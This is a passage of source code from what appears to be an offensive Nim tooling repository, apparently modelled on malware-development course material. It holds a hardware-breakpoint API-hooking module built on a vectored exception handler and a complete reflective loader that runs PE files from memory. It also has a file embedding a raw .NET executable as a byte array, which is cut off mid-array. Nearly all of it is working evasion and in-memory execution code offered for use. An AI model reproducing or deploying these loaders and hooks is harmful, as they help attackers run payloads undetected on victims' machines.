SETPARAM_b(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, b) 194 | 195 | #[ init/uninit HW BP]# 196 | proc initializeHardwareBPVariables(): bool = 197 | # If 'g_CriticalSection' is not yet initialized 198 | if g_CriticalSection.DebugInfo == NULL: 199 | InitializeCriticalSection(g_CriticalSection.addr) 200 | 201 | # If 'g_VectorHandler' is not yet initialized 202 | if (cast[int](g_VectorHandler) == 0): 203 | # Add 'VectorHandler' as the VEH 204 | g_VectorHandler = AddVectoredExceptionHandler(1, cast[PVECTORED_EXCEPTION_HANDLER](vectorHandler)) 205 | if cast[int](g_VectorHandler) == 0: 206 | echo "[!] AddVectoredExceptionHandler Failed" 207 | return false 208 | 209 | if (cast[int](g_VectorHandler) and cast[int](g_CriticalSection.DebugInfo)) != 0: 210 | return true 211 | 212 | proc uninitializeHardwareBPVariables() = 213 | # Remove breakpoints 214 | for i in 0 ..< 4: 215 | discard removeHardwareBreakpoint(cast[DRX](i)) 216 | # If the critical section is initialized, delete it 217 | if (cast[int](g_CriticalSection.DebugInfo) != 0): 218 | DeleteCriticalSection(g_CriticalSection.addr) 219 | # If VEH if registered, remove it 220 | if (cast[int](g_VectorHandler) != 0): 221 | RemoveVectoredExceptionHandler(g_VectorHandler) 222 | 223 | # Cleanup the global variables 224 | zeroMem(g_CriticalSection.addr, sizeof(g_CriticalSection)) 225 | zeroMem(g_DetourFuncs.addr, sizeof(g_DetourFuncs)) 226 | g_VectorHandler = cast[PVOID](0) 227 | 228 | template CONTINUE_EXECUTION(ctx: PCONTEXT) = (ctx.EFlags = (ctx.EFlags or (1 shl 16))) 229 | 230 | 231 | #[ EXMAPLE USAGE ]# 232 | proc MessageBoxADetour(pThreadCtx: PCONTEXT) = 233 | echo "[i] MessageBoxA's Old Parameters:" 234 | echo " [i] ", cast[cstring](GETPARAM_2(pThreadCtx)) 235 | echo " [i] ", cast[cstring](GETPARAM_3(pThreadCtx)) 236 | 237 | var msg1 = "HOOKED".cstring 238 | var msg2 = "HOOKED".cstring 239 | SETPARAM_2(pThreadCtx, cast[PULONG](msg1[0].addr)) 240 | SETPARAM_3(pThreadCtx, cast[PULONG](msg2[0].addr)) 241 | SETPARAM_4(pThreadCtx, cast[PULONG](MB_OK or MB_ICONEXCLAMATION)) 242 | 243 | # CONTINUTE_EXECUTION needs to be called in the hooked function 244 | CONTINUE_EXECUTION(pThreadCtx) 245 | 246 | proc main() = 247 | # initialize 248 | if not initializeHardwareBPVariables(): 249 | echo "[!] Failed to initialize" 250 | quit(1) 251 | 252 | MessageBoxA(0, "Normal 1", "Normal 1", MB_OK) 253 | 254 | echo "[i] Installing Hooks..." 255 | if not setHardwareBreakpoint(MessageBoxA, MessageBoxADetour, Dr0): 256 | quit(1) 257 | 258 | MessageBoxA(0, "Should be hooked", "Should be hooked", MB_OK) 259 | 260 | # Unhooking the installed hook on 'Dr0' 261 | echo "[i] Uninstalling Hooks..." 262 | if not removeHardwareBreakpoint(Dr0): 263 | quit(1) 264 | 265 | #[ NOT HOOKED ]# 266 | MessageBoxA(0, "Normal 2", "Normal 2", MB_OK) 267 | 268 | # Clean up 269 | uninitializeHardwareBPVariables() 270 | stdout.write "[#] Press to Quit ..." 271 | discard stdin.readLine() 272 | 273 | when isMainModule: 274 | main() -------------------------------------------------------------------------------- /src/local_pe_execution.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: m4ul3r (@m4ul3r_0x00) 3 | Reference: Maldev Academy 4 | License: BSD 3-Clause 5 | 6 | Description: Execute a PE file from memory, support for exes and dlls; support for TLS callbacks and exception handlers. 7 | ]# 8 | 9 | import winim/lean 10 | import std/[strformat, strutils] 11 | 12 | type 13 | BASE_RELOCATION_ENTRY* {.pure.} = object 14 | Offset* {.bitsize:12.}: WORD 15 | Type* {.bitsize:4.}: WORD 16 | PBASE_RELOCATION_ENTRY* = ptr BASE_RELOCATION_ENTRY 17 | 18 | IMAGE_RUNTIME_FUNCTION_ENTRY_UNION* {.pure, union.} = object 19 | UnwindInfoAddress*: DWORD 20 | UnwindData*: DWORD 21 | 22 | IMAGE_RUNTIME_FUNCTION_ENTRY* {.pure.} = object 23 | BeginAddress*: DWORD 24 | EndAddress*: DWORD 25 | u1*: IMAGE_RUNTIME_FUNCTION_ENTRY_UNION 26 | PIMAGE_RUNTIME_FUNCTION_ENTRY* = ptr IMAGE_RUNTIME_FUNCTION_ENTRY 27 | 28 | proc localPeExec*(pPeFileBuffer: pointer, sPeFileSize: int, cExportedFuncName: LPCSTR = cast[LPCSTR](0)): bool = 29 | ## `localPeExec` expects 3 arguments: a pointer to where the PE file has been allocated in memory, the size of the 30 | ## PE file in memory, and an optional argument of an exported function name if executing a DLL file. 31 | var 32 | uBaseAddress, uExportedFuncAddress: pointer 33 | uDeltaOffset: int 34 | pImgNtHdrs: PIMAGE_NT_HEADERS 35 | pImgSecHdr: PIMAGE_SECTION_HEADER 36 | pTmpDataDirVar: PIMAGE_DATA_DIRECTORY 37 | pImgDescriptor: PIMAGE_IMPORT_DESCRIPTOR 38 | pImgBaseRelocation: PIMAGE_BASE_RELOCATION 39 | pBaseRelocEntry: PBASE_RELOCATION_ENTRY 40 | pImgRuntimeFuncEntry: PIMAGE_RUNTIME_FUNCTION_ENTRY 41 | pImgExportDir: PIMAGE_EXPORT_DIRECTORY 42 | pImgTlsDirectory: PIMAGE_TLS_DIRECTORY 43 | ppImgTlsCallback: ptr UncheckedArray[PIMAGE_TLS_CALLBACK] 44 | threadContext: CONTEXT 45 | 46 | pImgNtHdrs = cast[PIMAGE_NT_HEADERS](cast[int](pPeFileBuffer) + cast[PIMAGE_DOS_HEADER](pPeFileBuffer).e_lfanew) 47 | if (pImgNtHdrs.Signature != IMAGE_NT_SIGNATURE): 48 | return false 49 | 50 | # Allocate memory 51 | uBaseAddress = VirtualAlloc(NULL, pImgNtHdrs.OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE) 52 | if cast[int](uBaseAddress) == 0: 53 | echo "[!] VirtualAlloc Failed With Error: ", GetLastError() 54 | return false 55 | 56 | echo &"[!] Allocated Image Base Address: 0x{cast[int](uBaseAddress).toHex}" 57 | echo &"[i] Preferable Base Address: 0x{cast[int](pImgNtHdrs.OptionalHeader.ImageBase).toHex}" 58 | 59 | # Writing PE Sections 60 | pImgSecHdr = IMAGE_FIRST_SECTION(pImgNtHdrs) 61 | var pImgSecHdrArr = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](pImgSecHdr) 62 | echo "[i] Writing Payload's PE Sections ..." 63 | for i in 0 ..< pImgNtHdrs.FileHeader.NumberOfSections.int: 64 | echo &"\t Writing Section {cast[cstring](pImgSecHdrArr[i].Name[0].addr)} at 0x{(cast[int](uBaseAddress) + pImgSecHdrArr[i].VirtualAddress).toHex} of Size {cast[int](pImgSecHdrArr[i].SizeOfRawData)}" 65 | copyMem( 66 | cast[pointer](cast[int](uBaseAddress) + pImgSecHdrArr[i].VirtualAddress), 67 | cast[pointer](cast[int](pPeFileBuffer) + pImgSecHdrArr[i].PointerToRawData), 68 | pImgSecHdrArr[i].SizeOfRawData 69 | ) 70 | 71 | # Fix Import Address Table 72 | stdout.write "[i] Fixing The Import Address Table ... " 73 | pTmpDataDirVar = pImgNtHdrs.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] 74 | for i in countUp(0, pTmpDataDirVar.Size-1, sizeof(IMAGE_IMPORT_DESCRIPTOR)): 75 | pImgDescriptor = cast[PIMAGE_IMPORT_DESCRIPTOR](cast[int](uBaseAddress) + pTmpDataDirVar.VirtualAddress + i) 76 | if (pImgDescriptor.union1.OriginalFirstThunk == 0) and (pImgDescriptor.FirstThunk == 0): 77 | break 78 | var 79 | cDllName = cast[LPSTR](cast[int](uBaseAddress) + pImgDescriptor.Name) 80 | uOriginalFirstThunkRVA = pImgDescriptor.union1.OriginalFirstThunk 81 | uFirstThunkRVA = pImgDescriptor.FirstThunk 82 | imgThunkSize:int = 0 83 | hModule: HMODULE 84 | hModule = LoadLibraryA(cDllName) 85 | if cast[int](hModule) == 0: 86 | echo &"[!] LoadLibraryA Failed With Error: {GetLastError()}" 87 | return false 88 | while true: 89 | var 90 | pOriginalFirstThunk = cast[PIMAGE_THUNK_DATA](cast[int](uBaseAddress) + uOriginalFirstThunkRVA + imgThunkSize) 91 | pFirstThunk = cast[PIMAGE_THUNK_DATA](cast[int](uBaseAddress) + uFirstThunkRVA + imgThunkSize) 92 | pImgImportByName: PIMAGE_IMPORT_BY_NAME = nil 93 | pFuncAddress: pointer = nil 94 | 95 | if (pOriginalFirstThunk.u1.Function == 0) and (pFirstThunk.u1.Function == 0): 96 | break 97 | 98 | if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk.u1.Ordinal)): 99 | pFuncAddress = GetProcAddress(hModule, cast[LPCSTR](IMAGE_ORDINAL(pOriginalFirstThunk.u1.Ordinal))) 100 | if cast[int](pFuncAddress) == 0: 101 | echo &"[!] Could Not Import !{cast[cstring](cDllName)}#{pOriginalFirstThunk.u1.Ordinal}" 102 | return false 103 | else: 104 | pImgImportByName = cast[PIMAGE_IMPORT_BY_NAME](cast[int](uBaseAddress) + pOriginalFirstThunk.u1.AddressOfData) 105 | pFuncAddress = GetProcAddress(hModule, cast[LPCSTR](pImgImportByName.Name[0].addr)) 106 | if cast[int](pFuncAddress) == 0: 107 | echo &"[!] Could Not Import !{cast[cstring](cDllName)}.{cast[cstring](pImgImportByName.Name)}" 108 | return false 109 | 110 | pFirstThunk.u1.Function = cast[ULONGLONG](pFuncAddress) 111 | imgThunkSize += sizeof(IMAGE_THUNK_DATA) 112 | 113 | echo "[+] DONE" 114 | 115 | # Perform PE Relocation 116 | stdout.write "[i] Fixing PE Relocations ... " 117 | pTmpDataDirVar = pImgNtHdrs.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC] 118 | pImgBaseRelocation = cast[PIMAGE_BASE_RELOCATION](cast[int](uBaseAddress) + pTmpDataDirVar.VirtualAddress) 119 | uDeltaOffset = cast[int](uBaseAddress) - pImgNtHdrs.OptionalHeader.ImageBase 120 | 121 | while (cast[int](pImgBaseRelocation.VirtualAddress) != 0): 122 | pBaseRelocEntry = cast[PBASE_RELOCATION_ENTRY](cast[int](pImgBaseRelocation) + sizeof(PBASE_RELOCATION_ENTRY)) 123 | 124 | while (cast[PBYTE](pBaseRelocEntry) != cast[PBYTE](cast[int](pImgBaseRelocation) + pImgBaseRelocation.SizeOfBlock)): 125 | case pBaseRelocEntry.Type: 126 | of IMAGE_REL_BASED_DIR64: 127 | var tmp = cast[ptr ULONG_PTR](cast[int](uBaseAddress) + pImgBaseRelocation.VirtualAddress + pBaseRelocEntry.Offset.int) 128 | tmp[] += uDeltaOffset 129 | of IMAGE_REL_BASED_HIGHLOW: 130 | var tmp = cast[ptr DWORD](cast[int](uBaseAddress) + pImgBaseRelocation.VirtualAddress + pBaseRelocEntry.Offset.int) 131 | tmp[] += + uDeltaOffset.DWORD 132 | of IMAGE_REL_BASED_HIGH: 133 | var tmp = cast[ptr WORD](cast[int](uBaseAddress) + pImgBaseRelocation.VirtualAddress + pBaseRelocEntry.Offset.int) 134 | tmp[] += HIWORD(uDeltaOffset) 135 | of IMAGE_REL_BASED_LOW: 136 | var tmp = cast[ptr WORD](cast[int](uBaseAddress) + pImgBaseRelocation.VirtualAddress + cast[int](pBaseRelocEntry.Offset)) 137 | tmp[] += LOWORD(uDeltaOffset) 138 | of IMAGE_REL_BASED_ABSOLUTE: 139 | # increment pBaseRelocEntry since we break out of the while loop 140 | pBaseRelocEntry = cast[PBASE_RELOCATION_ENTRY](cast[int](pBaseRelocEntry) + sizeof(BASE_RELOCATION_ENTRY)) 141 | break 142 | else: 143 | echo &"[!] Unknown relocation type: {pBaseRelocEntry.Type} | Offset: 0x{cast[int](pBaseRelocEntry.Offset).toHex}" 144 | return false 145 | pBaseRelocEntry = cast[PBASE_RELOCATION_ENTRY](cast[int](pBaseRelocEntry) + sizeof(BASE_RELOCATION_ENTRY)) 146 | 147 | pImgBaseRelocation = cast[PIMAGE_BASE_RELOCATION](pBaseRelocEntry) 148 | 149 | echo "[+] Done" 150 | 151 | # Fix Memory Permissions 152 | echo "[+] Setting the Right Memory Permissions For Each PE Section" 153 | for i in 0 ..< pImgNtHdrs.FileHeader.NumberOfSections.int: 154 | var dwProtection, dwOldProtection: DWORD 155 | if (pImgSecHdrArr[i].SizeOfRawData == 0) or (pImgSecHdrArr[i].VirtualAddress == 0): 156 | continue 157 | if (pImgSecHdrArr[i].Characteristics and IMAGE_SCN_MEM_WRITE) != 0: 158 | dwProtection = PAGE_WRITECOPY 159 | if (pImgSecHdrArr[i].Characteristics and IMAGE_SCN_MEM_READ) != 0: 160 | dwProtection = PAGE_READONLY 161 | if ((pImgSecHdrArr[i].Characteristics and IMAGE_SCN_MEM_WRITE) != 0) and ((pImgSecHdrArr[i].Characteristics and IMAGE_SCN_MEM_READ) != 0): 162 | dwProtection = PAGE_READWRITE 163 | if (pImgSecHdrArr[i].Characteristics and IMAGE_SCN_MEM_EXECUTE) != 0: 164 | dwProtection = PAGE_EXECUTE 165 | if ((pImgSecHdrArr[i].Characteristics and IMAGE_SCN_MEM_EXECUTE) != 0) and ((pImgSecHdrArr[i].Characteristics and IMAGE_SCN_MEM_WRITE) != 0): 166 | dwProtection = PAGE_EXECUTE_WRITECOPY 167 | if ((pImgSecHdrArr[i].Characteristics and IMAGE_SCN_MEM_EXECUTE) != 0) and ((pImgSecHdrArr[i].Characteristics and IMAGE_SCN_MEM_READ) != 0): 168 | dwProtection = PAGE_EXECUTE_READ 169 | if ((pImgSecHdrArr[i].Characteristics and IMAGE_SCN_MEM_EXECUTE) != 0) and ((pImgSecHdrArr[i].Characteristics and IMAGE_SCN_MEM_WRITE) != 0) and ((pImgSecHdrArr[i].Characteristics and IMAGE_SCN_MEM_READ) != 0): 170 | dwProtection = PAGE_EXECUTE_READWRITE 171 | 172 | if VirtualProtect(cast[PVOID](cast[int](uBaseAddress) + pImgSecHdrArr[i].VirtualAddress), pImgSecHdrArr[i].SizeOfRawData, dwProtection, dwOldProtection.addr) == 0: 173 | echo &"[!] VirtualProtect {cast[cstring](pImgSecHdrArr[i].Name[0].addr)} Failed With Error: {GetLastError()}" 174 | return false 175 | 176 | # Fetch Exported Function Address 177 | if (cast[int](cExportedFuncName) != 0): 178 | pTmpDataDirVar = pImgNtHdrs.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT] 179 | pImgExportDir = cast[PIMAGE_EXPORT_DIRECTORY](cast[int](uBaseAddress) + pTmpDataDirVar.VirtualAddress) 180 | if (pTmpDataDirVar.Size != 0) and (pTmpDataDirVar.VirtualAddress != 0): 181 | var 182 | functionNameArr = cast[ptr UncheckedArray[DWORD]](cast[int](uBaseAddress) + pImgExportDir.AddressOfNames) 183 | functionAddressArr= cast[ptr UncheckedArray[DWORD]](cast[int](uBaseAddress) + pImgExportDir.AddressOfFunctions) 184 | functionOrdinalArr= cast[ptr UncheckedArray[WORD]](cast[int](uBaseAddress) + pImgExportDir.AddressOfNameOrdinals) 185 | for i in 0 ..< pImgExportDir.NumberOfFunctions: 186 | if cast[cstring](cExportedFuncName) == cast[cstring](cast[int](uBaseAddress) + functionNameArr[i]): 187 | uExportedFuncAddress = cast[pointer](cast[int](uBaseAddress) + functionAddressArr[functionOrdinalArr[i]]) 188 | echo &"[i] Fetched Optional Exported Function Address [ {cast[cstring](cExportedFuncName)}:0x{cast[int](uExportedFuncAddress)} ]" 189 | break 190 | 191 | # Register Exception Directory 192 | pTmpDataDirVar = pImgNtHdrs.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION] 193 | if pTmpDataDirVar.Size != 0: 194 | pImgRuntimeFuncEntry = cast[PIMAGE_RUNTIME_FUNCTION_ENTRY](cast[int](uBaseAddress) + pTmpDataDirVar.VirtualAddress) 195 | if RtlAddFunctionTable(cast[PRUNTIME_FUNCTION](pImgRuntimeFuncEntry), (pTmpDataDirVar.Size div sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)).DWORD, cast[DWORD64](uBaseAddress)) == 0: 196 | echo &"[!] RtlAddFunctionTable Failed With Error: {GetLastError()}" 197 | return false 198 | echo "[+] Registered Exception Handlers" 199 | 200 | # Execute TLS Callbacks 201 | pTmpDataDirVar = pImgNtHdrs.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS] 202 | if pTmpDataDirVar.Size != 0: 203 | pImgTlsDirectory = cast[PIMAGE_TLS_DIRECTORY](cast[int](uBaseAddress) + pTmpDataDirVar.VirtualAddress) 204 | ppImgTlsCallback = cast[ptr UncheckedArray[PIMAGE_TLS_CALLBACK]](pImgTlsDirectory.AddressOfCallBacks) 205 | var i = 0 206 | while (cast[int](ppImgTlsCallback[i])) != 0: 207 | var pCallback = cast[proc(hModule: PVOID, dwReason: DWORD, pContext: PVOID){.nimcall.}](ppImgTlsCallback[i]) 208 | pCallBack(uBaseAddress, DLL_PROCESS_ATTACH, threadContext.addr) 209 | i.inc 210 | echo "[+] Executed All TLS Callback Functions" 211 | 212 | # Execute Entry Point 213 | if (pImgNtHdrs.FileHeader.Characteristics and IMAGE_FILE_DLL) != 0: 214 | var 215 | pDllMainFunc = cast[proc(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) {.nimcall.}](cast[int](uBaseAddress) + pImgNtHdrs.OptionalHeader.AddressOfEntryPoint) 216 | hThread: HANDLE 217 | 218 | echo "[*] Executing DllMain ..." 219 | pDllMainFunc(cast[HINSTANCE](uBaseAddress), DLL_PROCESS_ATTACH, NULL) 220 | 221 | if cast[int](uExportedFuncAddress) != 0: 222 | echo &"[*] Executing The {cExportedFuncName} Exported Function ... " 223 | hThread = CreateThread(NULL, 0, cast[LPTHREAD_START_ROUTINE](uExportedFuncAddress), NULL, 0, NULL) 224 | if cast[int](hThread) == 0: 225 | echo &"[!] CreateThread Failed With Error: {GetLastError()}" 226 | return false 227 | WaitForSingleObject(hThread, INFINITE) 228 | 229 | else: 230 | echo "[*] Executing Main ..." 231 | var pMainFunc = cast[proc(){.nimcall.}](cast[int](uBaseAddress) + pImgNtHdrs.OptionalHeader.AddressOfEntryPoint) 232 | # Execution of this program will terminate after this call. It is best to use CreateThread if you need continuous execution 233 | pMainFunc() 234 | 235 | return true 236 | 237 | 238 | proc main() = 239 | var 240 | target = r"C:\Windows\System32\calc.exe" 241 | peData = readFile(target) 242 | pBuffer = alloc0(peData.len) 243 | copyMem(pBuffer, peData[0].addr, peData.len) 244 | 245 | discard localPeExec(pBuffer, peData.len) 246 | 247 | 248 | when isMainModule: 249 | main() -------------------------------------------------------------------------------- /src/execute_assembly_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | I still can't believe this was added directly in the Winim library. Huge props to the author of Winim for this (khchen), really great stuff. 6 | 7 | Make sure you have Winim >=3.6.0 installed. If in doubt do a `nimble install winim` 8 | 9 | Also see https://github.com/khchen/winim/issues/63 for an amazing pro-tip from the author of Winim in order to determine the marshalling type of .NET objects. 10 | 11 | References: 12 | - https://github.com/khchen/winim/blob/master/examples/clr/usage_demo2.nim 13 | ]# 14 | 15 | import winim/clr 16 | import sugar 17 | import strformat 18 | 19 | # Just pops a message box... or does it? ;) 20 | var buf: array[4608, byte] = [byte 0x4d,0x5a,0x90,0x0,0x3,0x0,0x0,0x0,0x4,0x0,0x0,0x0,0xff,0xff,0x0,0x0,0xb8,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x80,0x0,0x0,0x0,0xe,0x1f,0xba,0xe,0x0,0xb4,0x9,0xcd,0x21,0xb8,0x1,0x4c,0xcd,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,0x6d,0x6f,0x64,0x65,0x2e,0xd,0xd,0xa,0x24,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x50,0x45,0x0,0x0,0x4c,0x1,0x3,0x0,0x99,0xdc,0x15,0x93,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xe0,0x0,0x22,0x0,0xb,0x1,0x30,0x0,0x0,0x8,0x0,0x0,0x0,0x8,0x0,0x0,0x0,0x0,0x0,0x0,0xea,0x27,0x0,0x0,0x0,0x20,0x0,0x0,0x0,0x40,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x20,0x0,0x0,0x0,0x2,0x0,0x0,0x4,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x6,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x80,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x0,0x0,0x0,0x3,0x0,0x60,0x85,0x0,0x0,0x10,0x0,0x0,0x10,0x0,0x0,0x0,0x0,0x10,0x0,0x0,0x10,0x0,0x0,0x0,0x0,0x0,0x0,0x10,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x96,0x27,0x0,0x0,0x4f,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0xcc,0x5,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x60,0x0,0x0,0xc,0x0,0x0,0x0,0xec,0x26,0x0,0x0,0x38,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x20,0x0,0x0,0x8,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x8,0x20,0x0,0x0,0x48,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x2e,0x74,0x65,0x78,0x74,0x0,0x0,0x0,0xf0,0x7,0x0,0x0,0x0,0x20,0x0,0x0,0x0,0x8,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x20,0x0,0x0,0x60,0x2e,0x72,0x73,0x72,0x63,0x0,0x0,0x0,0xcc,0x5,0x0,0x0,0x0,0x40,0x0,0x0,0x0,0x6,0x0,0x0,0x0,0xa,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x40,0x2e,0x72,0x65,0x6c,0x6f,0x63,0x0,0x0,0xc,0x0,0x0,0x0,0x0,0x60,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x10,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x42,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xca,0x27,0x0,0x0,0x0,0x0,0x0,0x0,0x48,0x0,0x0,0x0,0x2,0x0,0x5,0x0,0x98,0x20,0x0,0x0,0x54,0x6,0x0,0x0,0x3,0x0,0x2,0x0,0x1,0x0,0x0,0x6,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x13,0x30,0x3,0x0,0x33,0x0,0x0,0x0,0x1,0x0,0x0,0x11,0x0,0x2,0x8e,0x16,0xfe,0x1,0xa,0x6,0x2c,0xb,0x72,0x1,0x0,0x0,0x70,0x28,0xf,0x0,0x0,0xa,0x26,0x2,0x8e,0x69,0x17,0xfe,0x1,0xb,0x7,0x2c,0x13,0x72,0x23,0x0,0x0,0x70,0x2,0x16,0x9a,0x28,0x10,0x0,0x0,0xa,0x28,0xf,0x0,0x0,0xa,0x26,0x2a,0x22,0x2,0x28,0x11,0x0,0x0,0xa,0x0,0x2a,0x42,0x53,0x4a,0x42,0x1,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0xc,0x0,0x0,0x0,0x76,0x34,0x2e,0x30,0x2e,0x33,0x30,0x33,0x31,0x39,0x0,0x0,0x0,0x0,0x5,0x0,0x6c,0x0,0x0,0x0,0xf8,0x1,0x0,0x0,0x23,0x7e,0x0,0x0,0x64,0x2,0x0,0x0,0x8c,0x2,0x0,0x0,0x23,0x53,0x74,0x72,0x69,0x6e,0x67,0x73,0x0,0x0,0x0,0x0,0xf0,0x4,0x0,0x0,0x34,0x0,0x0,0x0,0x23,0x55,0x53,0x0,0x24,0x5,0x0,0x0,0x10,0x0,0x0,0x0,0x23,0x47,0x55,0x49,0x44,0x0,0x0,0x0,0x34,0x5,0x0,0x0,0x20,0x1,0x0,0x0,0x23,0x42,0x6c,0x6f,0x62,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x2,0x0,0x0,0x1,0x47,0x15,0x2,0x0,0x9,0x0,0x0,0x0,0x0,0xfa,0x1,0x33,0x0,0x16,0x0,0x0,0x1,0x0,0x0,0x0,0x13,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x11,0x0,0x0,0x0,0xe,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x0,0x0,0x78,0x1,0x1,0x0,0x0,0x0,0x0,0x0,0x6,0x0,0xed,0x0,0x17,0x2,0x6,0x0,0x5a,0x1,0x17,0x2,0x6,0x0,0x21,0x0,0xe5,0x1,0xf,0x0,0x37,0x2,0x0,0x0,0x6,0x0,0x49,0x0,0xbf,0x1,0x6,0x0,0xd0,0x0,0xbf,0x1,0x6,0x0,0xb1,0x0,0xbf,0x1,0x6,0x0,0x41,0x1,0xbf,0x1,0x6,0x0,0xd,0x1,0xbf,0x1,0x6,0x0,0x26,0x1,0xbf,0x1,0x6,0x0,0x60,0x0,0xbf,0x1,0x6,0x0,0x35,0x0,0xf8,0x1,0x6,0x0,0x13,0x0,0xf8,0x1,0x6,0x0,0x94,0x0,0xbf,0x1,0x6,0x0,0x7b,0x0,0x8a,0x1,0x6,0x0,0x67,0x2,0xb3,0x1,0xa,0x0,0x80,0x2,0x4b,0x2,0xa,0x0,0x6e,0x2,0x4b,0x2,0x6,0x0,0xa4,0x1,0xb3,0x1,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x1,0x0,0x1,0x0,0x10,0x0,0xab,0x1,0xd1,0x1,0x41,0x0,0x1,0x0,0x1,0x0,0x50,0x20,0x0,0x0,0x0,0x0,0x96,0x0,0xba,0x1,0x34,0x0,0x1,0x0,0x8f,0x20,0x0,0x0,0x0,0x0,0x86,0x18,0xdf,0x1,0x6,0x0,0x2,0x0,0x0,0x0,0x1,0x0,0x46,0x2,0x9,0x0,0xdf,0x1,0x1,0x0,0x11,0x0,0xdf,0x1,0x6,0x0,0x19,0x0,0xdf,0x1,0xa,0x0,0x29,0x0,0xdf,0x1,0x10,0x0,0x31,0x0,0xdf,0x1,0x10,0x0,0x39,0x0,0xdf,0x1,0x10,0x0,0x41,0x0,0xdf,0x1,0x10,0x0,0x49,0x0,0xdf,0x1,0x10,0x0,0x51,0x0,0xdf,0x1,0x10,0x0,0x59,0x0,0xdf,0x1,0x10,0x0,0x61,0x0,0xdf,0x1,0x15,0x0,0x69,0x0,0xdf,0x1,0x10,0x0,0x71,0x0,0xdf,0x1,0x10,0x0,0x79,0x0,0xdf,0x1,0x10,0x0,0x89,0x0,0x7b,0x2,0x1f,0x0,0x99,0x0,0x60,0x2,0x25,0x0,0x81,0x0,0xdf,0x1,0x6,0x0,0x2e,0x0,0xb,0x0,0x3a,0x0,0x2e,0x0,0x13,0x0,0x43,0x0,0x2e,0x0,0x1b,0x0,0x62,0x0,0x2e,0x0,0x23,0x0,0x6b,0x0,0x2e,0x0,0x2b,0x0,0x7e,0x0,0x2e,0x0,0x33,0x0,0x7e,0x0,0x2e,0x0,0x3b,0x0,0x7e,0x0,0x2e,0x0,0x43,0x0,0x6b,0x0,0x2e,0x0,0x4b,0x0,0x84,0x0,0x2e,0x0,0x53,0x0,0x7e,0x0,0x2e,0x0,0x5b,0x0,0x7e,0x0,0x2e,0x0,0x63,0x0,0x9c,0x0,0x2e,0x0,0x6b,0x0,0xc6,0x0,0x2e,0x0,0x73,0x0,0xd3,0x0,0x1a,0x0,0x4,0x80,0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xd1,0x1,0x0,0x0,0x4,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x2b,0x0,0xa,0x0,0x0,0